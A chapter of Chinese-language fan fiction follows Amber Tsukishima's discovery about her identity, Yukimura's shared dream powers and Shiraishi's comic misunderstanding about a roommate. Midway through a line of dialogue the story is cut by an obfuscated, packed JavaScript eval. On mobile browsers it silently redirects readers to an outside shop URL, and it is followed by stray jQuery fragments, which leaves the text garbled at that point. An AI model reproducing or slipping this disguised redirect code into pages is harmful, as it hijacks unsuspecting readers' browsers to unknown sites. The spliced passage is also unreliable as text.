一个大胆荒谬的猜测浮现在她的脑中。

    月岛琥珀醒来的第一件事就是去翻行李箱,找“她”留下的证据。

    重新坐在书桌前,她深吸一口气,迟疑地打开了那个文件夹。握着边缘的手指轻颤,心跳如擂鼓。

    她不确定自己更希望看到的答案是哪种。越接近谜底,越有种近乡情怯的感受。

    ……

    最终,两种字迹在她面前完全重合。

    因为太过熟悉,所以她之前完全没有觉得有什么不妥的地方。

    直到在梦境中看到第一次剧情里,“她”也是同样的笔迹。

    月岛琥珀猛地盖上文件夹,将手按在心口处,大口大口呼吸着。

    这个猜测击溃了她原有的认知,大脑一片混乱,耳边只剩下“嗡鸣”声。

    幸村精市敲门时,看到的就是她痛苦空洞的眼神。

    他将早餐搁置在门边的桌案上,大步走到她身边半蹲了下来。

    余光瞥过桌上的文件夹,心中有了几分了然。

    幸村精市将她的双手包裹在掌心,仰头温声道:“怎么了,是没睡好吗?”

    “要不要再去休息一会?现在时间还早。”

    他用指腹轻柔地按去她眼角的泪花,安抚地拍了拍女孩的手背。

    被一阵熟悉的草木香气裹挟着,琥珀色的眼眸一点一点重新聚焦。

    模糊的世界逐渐明晰,她迟缓地扇动眼睫,映入一池温柔的蓝紫色。

    长期紧绷的环境让她条件反射地挺直了背,可混乱的思绪又在下一秒无力松垮下来。

    虽然不用再为了获得幸村精市的好感度而演戏,但内心隐秘的深处仍希望可以在他面前保持好形象。

    “阿市,我……”

    她张了张嘴,最后不知道该说些什么。

    幸村精市稍站起身,小心翼翼地将人拥进怀里。

    宽大的手掌像哄孩子般拍在她背上,另一只手轻缓地抚着她的长发。

    “我知道的,琥珀。”

    他说话时胸腔处传来颤动,反而让她意识到这个世界的真实。

    “没关系的,”幸村精市柔声说,“现在要先好好地睡一觉吗?”

    月岛琥珀犹豫着没有开口。

    她有些害怕睡觉了。

    不知道自己会被传到哪个空间,不知道还能不能再见到他,见到妈妈……

    幸村精市退开怀抱,注视着她的眼眸认真道:“让我陪你一起好吗?”

    “今天没有安排,我们好好休息吧。”

    他牵起她的手,将人带到床边。

    有幸村精市在身边,月岛琥珀莫名觉得安心了些。

    穿着短袖睡裙钻进被窝里,露出毛茸茸的脑袋,一双澄亮的眼眸盯着他。

    睫毛轻轻扇动,眼神里含着她都没有注意到的期待。

    而精确捕捉到这点情绪的幸村精市,此时心情愉悦极了。

    他转身掩上门,贴心地留了一道缝隙,调整好空调的温度后才掀开被子躺了进去。

    两人面对面侧躺着。

    恍惚间仿佛回到了之前共枕而眠的夜晚,她才惊觉时间已经过去这么久了。

    不论她是谁,这段时间的经历都是真切属于她的。

    那只大手覆在她的手背上轻轻拍着,轻柔的嗓音低低地哼唱着不成曲调的哄睡曲。

    月岛琥珀阖上眼。

    这一觉,安然无梦。

    -

    【宿主,检测到攻略对象已经入睡,是否使用梦境功能?】

    那夜,幸村精市本要阖上眼却意外听到自己的意识中出现了陌生的声音。

    宿主?攻略对象?

    他掀开被子坐起来。

    以为是幻听的那瞬间,系统又重复了一遍。

    更奇怪的是,眼前竟然真的出现了一个像素提示框。

    幸村精市试探地点下【是】。下一瞬,他的意识就被抽离,像坠入了云层之间。

    再睁开眼时,发现自己竟站在操场上。

    主席台显示屏写着“地区大学联合运动会”,看台的方向传来阵阵欢呼。

    他打量着四周的环境。

    在不明真假的虚浮之中,捕捉到了熟悉的琥珀色。

    只一眼,悬着的心立刻安定下来。

    幸村精市抬步朝她走过去。

    试探中,他发现这个梦境的主人似乎就是他自己。

    场景和梦境走向都能根据他的意识变化,除了……

    眼前正绞尽脑汁讨好别人的琥珀。

    这让他想到了自己之前做过的梦。醒来后,她也做着和梦境里一样的行为。

    那些觉得怪异的地方,在这一刻都有了解释。

    所以,她也是有意识的。

    看女孩茫然的样子,应当是不知道这个梦境属于他,并且由他主导。

    他顺势将人圈进自己的领地。

    以梦境为借口,试探她内心的真实想法。

    幸村精市有些自嘲地笑笑。

    人们总说他是“神之子”,可是神好像并不眷顾他。

    被他视作生命的网球,因为所谓的“快乐至上”理论突破不了“天衣无缝”。

    令他动心的女孩,在他以为是神爱怜他的礼物时,却眼睁睁地看着她渐行渐远。

    神之子么?

    那为何命运予他,尽是蹉跎。

    幸村精市俯下身拥住女孩的那一刻,两颗仅隔数厘的心脏共同振颤着。

    命运凉薄。

    可是。

    幸好,幸好。

    -

    幸村精市也小憩了一会。

    醒来下楼时已经不见月岛美咲的身影,桌上只留了一张出门的字条。

    他抬眸看了眼时间,从挂把上拿下围裙系上。

    近来和月岛美咲学做了几道月岛琥珀爱吃的菜,如今也可以独立下厨了。

    他把汤端上桌的时候,正好门铃响了。

    幸村精市以为是月岛美咲回来了,特意系着围裙去开门——

    “好久不见,幸村。”白石藏之介一手撑住门框,扬起唇角和他打招呼。

    目光下移到他身上的围裙时,忽然凝滞住了。

    白石敛起笑容:“你,你该不会是在做饭吧?”

    “是哦,”幸村精市笑眯眯的,却让人毛骨悚然,“你要进来试试吗?”

    白石后退小半步,咽了下:“呃,我觉得我来得……”

    “来得正是时候。”

    幸村精市佯装听不懂他的意思。打开门,做了个“请”的动作。

    白石瞥了眼幸村精市身上的围裙,又抬头看看他的笑容。

    在“吃了可能会死”,和“惹他更是必死无疑”中很果断地选择了前者。

    出乎他意料,冒着热气的汤至少从品相上看还不错。

    幸村精市给他递了餐具:“正好帮我尝尝,这是我第一次做。”

    原来是小白鼠。

    白石舀了一汤匙,在喝下之前又谨慎地问:“你确定这是可以喝的对吧?”

    “嗯,当然。”

    幸村精市依旧笑得如沐春风。

    白石如临大敌地看了一眼无色的汤,然后低头一饮而尽。

    与此同时,耳畔落下幸村精市平静的声音。

    “反正医院离我家也不远。”

    差点把他呛了一口。

    白石掩着嘴角咳嗽几声,咳着咳着竟尝出点鲜味,顿时眼神放光。

    “还不错诶?到底是谁说你不会下厨的,简直就是谣传。”

    紧绷的神经松懈下来,白石悠哉地又舀了一碗:“但你平时不是有请营养师吗?今天怎么自己做饭?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838625|207477||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“再说了,这也不是你的口味吧?”

    他狐疑地看了幸村精市一眼。

    两人之前做过室友,白石对他的喜好还是知道一二的。

    还不等幸村精市开口。

    他随即想到了什么,惊呼一声:“我知道了,是给你室友的?”

    “嗯……”幸村精市犹豫了下,“也不算吧?”

    仅仅是室友吗?

    而白石把他的迟疑理解成了无奈,在脑海中想象着他室友的模样——

    在入住第一天就让幸村精市着急给他找新住所,又强迫不擅厨艺的他学着下厨。

    ……

    哎,幸村受苦了。

    看向“受害者”的眼神里都带了几分怜爱。

    白石想起自己来这里的正事,又用一种宽慰的口吻安抚他道:“对了,你之前让我打听的事有结果了。”

    “什么?”幸村精市愣了一瞬。

    “两个月前你不是让我帮忙找房子吗,就是想让你室友搬出去吧?”

    白石以为他是惊喜过头一时忘记反应,便继续往下说。

    “正好做中介的朋友说这附近有一套待出租,方便的话明天可以让室友搬过去。”

    “等等,我现在可能……不需要了。”

    “你别逞强。”

    白石递给他一个“别说了我都懂”的眼神,如今的幸村精市在他眼中就是一个被室友压迫的灰姑娘。

    而向来爱友心切的白石,还在好心劝他:“你还有比赛,不能让室友影响你。”

    “没有影响我。”幸村精市解释。

    “你看,让你给他做饭不是会占用你时间吗?住在你家里,两人还要磨合彼此的作息和生活习惯……”

    知道他误会了,幸村精市连忙打断他的话:“其实我的室友是个女孩……”

    话还未说完,楼梯口传来声响。

    两人同时回头看去,只见月岛琥珀穿着一袭素白连衣裙,光脚踩在地板上。

    本就白皙的脸颊愈发没有血色,圆润的杏眼漫上一层薄薄的水雾。

    显然是听到了刚才的对话。

    幸村精市感觉自己的心如坠入冰窟般往下沉,喉间紧缩着发不出声。

    三人相对无言,最后还是月岛琥珀先开口:“抱歉,我不知道你有朋友来,我来得不是时候。”

    “不,不是,”白石如梦初醒般站起来,“你来得正是时候。”

    熟悉的对话,却是不同的境况。但怎么都是冲着他来的啊!

    白石整理好情绪走上前,从善如流地伸出手。

    “你就是幸村的室友吧?”

    “你好,我是月岛琥珀。”女孩礼貌地回握,没什么血色的唇角淡淡勾起。

    她微笑地补充道:“就是你刚才说的那位要他做饭,又要他磨合作息的室友哦。”

    “……”

    白石:不好,是冲我来的。

    从她温柔的嗓音里感受到了和幸村精市同样的危险。

    月岛琥珀目光一转,落在了不远处的幸村精市身上。

    嘴角的笑容更灿烂了,说话带着点咬牙切齿的怨念。

    “谢谢室友提前两个月帮我找房子,那我明天就搬过去。”

    “……”

    幸村:不好,这其实是冲我来的。

    月岛琥珀无视快要石化的两位帅哥,从贴身小口袋摸出手机。

    “好心的朋友,我们加个联系方式吧,更方便咨询房子的事。”

    白石咽了下,僵硬地扭过头看幸村精市,向他投去求助的目光。

    这手机……

    他是拿出来还是不拿?

    没逝的,没事的。他白石藏之介有什么搞不定的?

    白石暗自深吸一口气,回过头,扯出一抹勉强的笑容。

    “不好意思,我没有手机。”